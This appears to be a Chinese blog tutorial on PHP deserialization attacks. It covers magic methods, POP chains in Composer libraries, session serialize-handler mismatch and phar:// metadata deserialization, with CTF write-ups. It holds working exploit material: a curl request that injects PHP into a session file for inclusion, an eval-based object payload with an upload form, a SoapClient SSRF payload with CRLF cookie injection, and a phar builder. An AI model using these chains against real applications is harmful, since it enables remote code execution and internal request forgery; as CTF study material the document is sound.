之前遇到過很多次php反序列化相關的內容,總結一下。
(反)序列化給我們傳遞對象提供了一種簡單的方法。serialize()將一個對象轉換成一個字符串,unserialize()將字符串還原為一個對象,在PHP應用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
常見的PHP魔術方法:
__construct: 在創建對象時候初始化對象,一般用於對變量賦初值。 __destruct: 和構造函數相反,當對象所在函數調用完畢后執行。 __toString:當對象被當做一個字符串使用時調用。 __sleep:序列化對象之前就調用此方法(其返回需要一個數組) __wakeup:反序列化恢復對象之前調用該方法 __call:當調用對象中不存在的方法會自動調用該方法。 __get:在調用私有屬性的時候會自動執行
__isset()在不可訪問的屬性上調用isset()或empty()觸發
__unset()在不可訪問的屬性上使用unset()時觸發
1.PHP反序列化與POP鏈
1.1Autoloading與(反)序列化威脅
傳統的PHP要求應用程序導入每個類中的所有類文件,這樣就意味着每個PHP文件需要一列長長的include或require方法,而在當前主流的PHP框架中,都采用了Autoloading自動加載類來完成這樣繁重的工作。 在完善簡化了類之間調用的功能的同時,也為序列化漏洞造成了便捷。
1.2Composer與Autoloading
Composer是PHP用來管理依賴(dependency)關系的工具。你可以在自己的項目中聲明所依賴的外部工具庫(libraries),Composer 會幫你安裝這些依賴的庫文件。
Composer默認是從Packagist來下載依賴庫的。 所以我們挖掘漏洞的思路就可以從依賴庫文件入手。 目前總結出來兩種大的趨勢,還有一種猜想: 1.從可能存在漏洞的依賴庫文件入手 2.從應用的代碼框架的邏輯上入手 3.從PHP語言本身漏洞入手
尋找依賴庫漏洞的方法,可以說是簡單粗暴:首先在依賴庫中使用RIPS或grep全局搜索__wakeup()和__destruct(),尋找POP組件的最好方式,就是直接看composer.json文件,該文件中寫明了應用需要使用的庫。
從最流行的庫開始,跟進每個類,查看是否存在我們可以利用的組件(可被漏洞利用的操作)手動驗證,並構建POP鏈,利用易受攻擊的方式部署應用程序和POP組件,通過自動加載類來生成poc及測試漏洞。
以下為一些存在可利用組件的依賴庫:
任意寫 monolog/monolog(<1.11.0) guzzlehttp/guzzle guzzle/guzzle 任意刪除 swiftmailer/swiftmailer
a.PHP語言本身漏洞,比如當序列化字符串中表示對象個數的值大於真實的屬性個數時會跳過__wakeup()的執行。
b.__toString常常被漏洞挖掘者忽略。其實,當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候),就可以觸發相應的漏洞,當然找漏洞的時候還是要沿着可控數據的處理流程來找
__toString觸發條件: echo ($obj) / print($obj) 打印時會觸發 字符串連接時 格式化字符串時 與字符串進行==比較時(PHP進行==比較的時候會轉換參數類型) 格式化SQL語句,綁定參數時 數組中有字符串時
<?php class toString_demo { private $test1 = 'test1'; public function __construct($test) { $this->test1 = $test; } public function __destruct() { // TODO: Implement __destruct() method. print "__destruct:"; print $this->test1; print "n"; } public function __wakeup() { // TODO: Implement __wakeup() method. print "__wakeup:"; $this->test1 = "wakeup"; print $this->test1."n"; } public function __toString() { // TODO: Implement __toString() method. print "__toString:"; $this->test1 = "tosTRING"; return $this->test1."n"; } } $a = new toString_demo("demo"); $b = serialize($a); $c = unserialize($b); //print "n".$a."n"; //print $b."n"; print $c;
比如以上這段示例代碼,將輸出
__wakeup:wakeup __toString:tosTRING __destruct:tosTRING __destruct:demo
調用兩次__destruct的原因是要銷毀兩個對象,分別是$a和$c。
當反序列化后的最想在經過php字符串函數時,都會執行__toString方法,比如strlen(),addslashes(),class_exists()等,從這一點我們就可以看出,__toString所可能造成的安全隱患。
1.3php_session序列化和反序列化相關知識
當session_start()被調用或者php.ini中session.auto_start為1時,PHP內部調用會話管理器,訪問用戶session被序列化以后,存儲到指定目錄(默認為/tmp)。
配置文件php.ini中含有這幾個與session存儲配置相關的配置項:
session.save_path="" --設置session的存儲路徑,默認在/tmp session.auto_start --指定會話模塊是否在請求開始時啟動一個會話,默認為0不啟動 session.serialize_handler --定義用來序列化/反序列化的處理器名字。默認使用php
session.save_handler="" --設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式),比如files就是session默認以文件的方式進行存儲
以phpstudy為例,php.ini中配置如下:
在PHP中默認使用的是PHP引擎,如果要修改為其他的引擎,只需要添加代碼ini_set('session.serialize_handler', '需要設置的引擎'),比如:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); // do something
存儲的文件是以sess_sessionid
來進行命名的,文件的內容就是session值的序列話之后的內容,例如session文件名稱為:sess_1ja9n59ssk975tff3r0b2sojd5
PHP中的Session的實現是沒有的問題,危害主要是由於程序員的Session使用不當而引起的。如果 PHP 在反序列化存儲的 $_SESSION 數據時的使用的處理器和序列化時使用的處理器不同,會導致數據無法正確反序列化,通過特殊的構造,甚至可以偽造任意數據。常見的比如存入session時用的處理器為php_serialize,反序列化時用的處理器是php。
比如假設
$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';
上面的 $_SESSION 數據,在存儲時使用的序列化處理器為 php_serialize,存儲的格式如下:
a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
在讀取數據時如果用的反序列化處理器不是 php_serialize,而是 php 的話,那么反序列化后的數據將會變成:
#!php // var_dump($_SESSION); array(1) { ["a:1:{s:4:"ryat";s:20:""]=> object(stdClass)#1 (0) { } }
則反序列化后還原得到一個新的對象,通過注入 |
字符偽造了對象的序列化數據,前后處理不一直導致的鍋。
當配置選項 session.auto_start=On,會自動注冊 Session 會話,因為該過程是發生在腳本代碼執行前,所以在腳本中設定的包括序列化處理器在內的 session 相關配選項的設置是不起作用的,
因此一些需要在腳本中設置序列化處理器配置的程序會在 session.auto_start=On 時,銷毀自動生成的 Session 會話,然后設置需要的序列化處理器,再調用 session_start() 函數注冊會話,
這時如果腳本中設置的序列化處理器與 php.ini 中設置的不同,就會出現安全問題,因為 PHP 自動注冊 Session 會話是在腳本執行前,所以通過該方式只能注入 PHP 的內置類。
當配置選項 session.auto_start=Off,兩個腳本注冊 Session 會話時使用的序列化處理器不同,就會出現安全問題
例題解析:
1.xctf 2018 bestphp
<?php highlight_file(__FILE__); error_reporting(0); ini_set('open_basedir', '/var/www/html:/tmp'); $file = 'function.php'; $func = isset($_GET['function'])?$_GET['function']:'filters'; call_user_func($func,$_GET); include($file); session_start(); $_SESSION['name'] = $_POST['name']; if($_SESSION['name']=='admin'){ header('location:admin.php'); } ?>
很明顯第一處可以通過call_user_func進行變量覆蓋,從而任意讀文件,因為可以控制$_SESSION['name']參數,因此可以控制session的內容,如果我們知道session文件的位置,就可以通過include文件包含來進行getshell,那么session通常保存在:
/var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /var/lib/php5/sess_PHPSESSID /var/lib/php5/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID
題目中的session是保存在/var/lib/下的,但是此時因為有open_basedir,因此此時不能夠直接對其進行包含,但是因為有變量覆蓋因此可以通過session_start(),改變save_path的方式讓session存儲路徑在open_basedir允許的目錄下,實際上就是通過操控$_SESSION變量讓它保存我們的payload,然后存儲到服務器的session文件中,然后通過包含此session文件,來達到包含payload的目的,比如可以構造payload為:
?function=session_start&save_path=/tmp
curl -v -X POST -d "name=<?=var_dump(scandir('./'));?>" http://vps_ip:port/?function=session_start&save_path=/tmp 讀取目錄下的文件 ?function=extract&file=/tmp/sess_3b624no3ucdj27un5idq57jta0 包含session,顯示目錄下的文件,session文件名根據服務器回顯設置的session id構造即可
2.jarvisoj-web的一道SESSION反序列化
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
首先這道題能夠進行查看phpinfo的信息,從里面我們能夠發現
開啟了session文件上傳進度跟蹤,並且給的這個index.php存在session_start()函數,因此我們可以給它post一個變量名為PHP_SESSION_UPLOAD_PROGRESS的變量,里面可以寫上我們的payload,這樣就可以把payload拼接到session中去,達到操控session的目的,接下來我們可以構造我們的payload,但是disable_function中禁用了很多函數,因此我們不能夠直接執行想要的命令,要bypass(暫時不是重點),我們首先嘗試下注入session能不能成功,構造exp如下:
<?php class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } $a=new OowoO(); $a->mdzz="var_dump(scandir('./'));"; echo serialize($a);
//上傳表單
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
然后在burp添加上序列化的數據即可進行列目錄,這里不要urlencode一次,服務器會不識別,它不會進行一次解碼,我們現在看的當前路徑沒有flag,我們可以切換到網站根目錄看看,通過phpinfo就能看到網站根路徑,在Apache Environment一塊中就可以看到服務器的相關環境變量的值,可以發現網站的根路徑為:/opt/lampp/htdocs,那我們讀一下該路徑下的文件
然后再網站根目錄下就可以發現flag文件,那么此時就可以對其進行讀取,使用file_get_contents即可,構造序列化數據
然后再訪問index.php,F12就能看到flag。
3.PHP session反序列化+SOAP+SSRF漏洞綜合利用
題目:LCTF2018 babyphp's revenge
源碼:
//index.php <?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET[f],$_POST); session_start(); if(isset($_GET[name])){ $_SESSION[name] = $_GET[name]; //get傳送序列化數據要urlencode一下 } var_dump($_SESSION); $a = array(reset($_SESSION),'welcome_to_the_lctf2018'); call_user_func($b,$a); ?>
//flag.php session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1") { $_SESSION['flag'] = $flag; }
從flag.php可以看出應該是需要本地訪問flag.php,那么需要結合ssrf,首先簡單介紹一下SoapClient
SOAP,簡單對象訪問協議是交換數據的一種協議規范,是一種輕量的、簡單的、基於XML(標准通用標記語言下的一個子集)的協議。SOAP、WSDL(WebServicesDescriptionLanguage)、
UDDI(UniversalDescriptionDiscovery andIntegration)之一,soap用來描述傳遞信息的格式, WSDL 用來描述如何訪問具體的接口, uddi用來管理,分發,查詢webService 。
WebService是一種跨平台,跨語言的規范,用於不同平台,不同語言開發的應用之間的交互。比如在Windows Server服務器上有個C#.Net開發的應用A,在Linux上有個Java語言開發的應用B,
B應用要調用A應用,或者是互相調用。用於查看對方的業務數據。這個時候,如何解決呢?WebService就是出於以上類似需求而定義出來的規范:開發人員一般就是在具體平台開發webservice接口,
以及調用webservice接口。每種開發語言都有自己的webservice實現框架。而SOAP作為webService三要素SOAP 可以和現存的許多因特網協議和格式結合使用,包括超文本傳輸協議(HTTP),
簡單郵件傳輸協議(SMTP),多用途網際郵件擴充協議(MIME)。
這道題主要思路還是控制session的解析引擎,可以借用由解析引擎的不同導致的session反序列化,構造soap類ssrf,獲取flag,我們主要利用soapclient來模擬發送http請求,通過調用session_start(),傳入php_seialize的session處理器,從而將$_SESSION['name']中包含的payload存儲到服務器端的文件中,然后此時在服務端的session文件中已經存在了soap的對象,那么因為在高版本的soap在反序列化的時候修復了會發送網絡請求的bug,所以需要調用__call方法,通過調用soap類中不存在的方法來觸發soap對象發送http請求,所以在源碼中第二次訪問index.php時reset($_SESSION)將彈出$_SESSION數組的第一個元素,那么就是我們第一次傳入的payload反序列化得到的對象,此時調用welcome_to_the_lctf2018這個方法,這里需要覆蓋$b變量為call_user_func(),從而起到調用soap對象的不存在方法,達到反序列化進行SSRF的目的。
所以exp分兩步:
第一步:
$_GET = array('f'=>'session_start','name'=>'|<serialize data>') $_POST = array('serialize_handler'=>'php_serialize')
$target='http://127.0.0.1/flag.php'; $b = new SoapClient(null,array('location' => $target, 'user_agent' => "AAA:BBB\r\n" . "Cookie:PHPSESSID=dde63k4h9t7c9dfl79np27e912", //這里利用crlf注入了Cookie,因為后面要用這個cookie去訪問index.php拿flag 'uri' => "http://127.0.0.1/")); $se = serialize($b); echo urlencode($se);
第二步:
$_GET = array('f'=>'extract'); $_POST = array('b'=>'call_user_func');
經過這一步,soap請求發了出去,也就我們構造soap序列化的時候注入的可控phpsessid相應的session里被加入了flag,於是帶着這個phpsessid請求index.php,中間有一行代碼var_dump($_SESSION);從而拿到flag
4.phar偽協議觸發php反序列化
這里簡單對phar文件格式進行一個介紹,題目解析見我以前做的swpuctf的一個phar反序列化分析,https://blog.zsxsoft.com/post/38 這篇文章發現並不局限於文件函數,這是一個所有的和IO有關的函數都有可能觸發的問題,以下函數也可能發生此種問題
trick:如果phar://
不能出現在頭幾個字符,可以在最前面加compress.bzip2://
or compress.zlib:// compress.zip or php://filter/resource=phar://
mysql或postgresql中與文件操作相關的sql語句執行時都可能導致phar反序列化,因為他們的實現中都調用了相同的wrapper(但需要配置相關選項),在上面zsx師傅的博客里都寫得有,很詳細的分析,膜
phar://協議
可以將多個文件歸入一個本地文件夾,也可以包含一個文件
phar文件
PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個歸檔文件中來實現應用程序和庫的分發。所有PHAR文件都使用.phar作為文件擴展名,PHAR格式的歸檔需要使用自己寫的PHP代碼。
要想使用Phar類里的方法,必須將phar.readonly配置項配置為0或Off(文檔中定義),phar文件有四部分構成:
1.a stub(phar 文件標識)
可以理解為一個標志,格式為xxx<?php xxx; __HALT_COMPILER();?>
,前面內容不限,但必須以__HALT_COMPILER();?>
來結尾,否則phar擴展將無法識別這個文件為phar文件。
2.a manifest describing the contents (攻擊最核心的地方,存儲序列化數據,也就是我們的惡意payload)
phar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data,這是上述攻擊手法最核心的地方。
3.文件內容
被壓縮文件的內容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
簽名,放在文件末尾。對應函數Phar :: stopBuffering —停止緩沖對Phar存檔的寫入請求,並將更改保存到磁盤
放一張大佬的測試圖:
demo exp:
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭 $o = new TestObject(); //惡意的對象,也就是我們要反序列化的對象 $phar->setMetadata($o); //將自定義meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
具體題目分析見鏈接:
https://www.cnblogs.com/wfzWebSecuity/p/10159489.html
參考(侵刪):
https://www.anquanke.com/post/id/86452
https://xz.aliyun.com/t/3174#toc-4
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=48210&highlight=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
https://www.anquanke.com/post/id/159206#h3-9
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=39169&highlight=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
https://www.jianshu.com/p/fba614737c3d
http://www.laruence.com/2011/10/10/2217.html
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://xz.aliyun.com/t/3341#toc-25
https://paper.seebug.org/680/#21-phar
https://www.anquanke.com/post/id/159206#h2-10
https://coomrade.github.io/2018/10/26/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E9%9D%A2%E6%8B%93%E5%B1%95%E6%8F%90%E9%AB%98%E7%AF%87/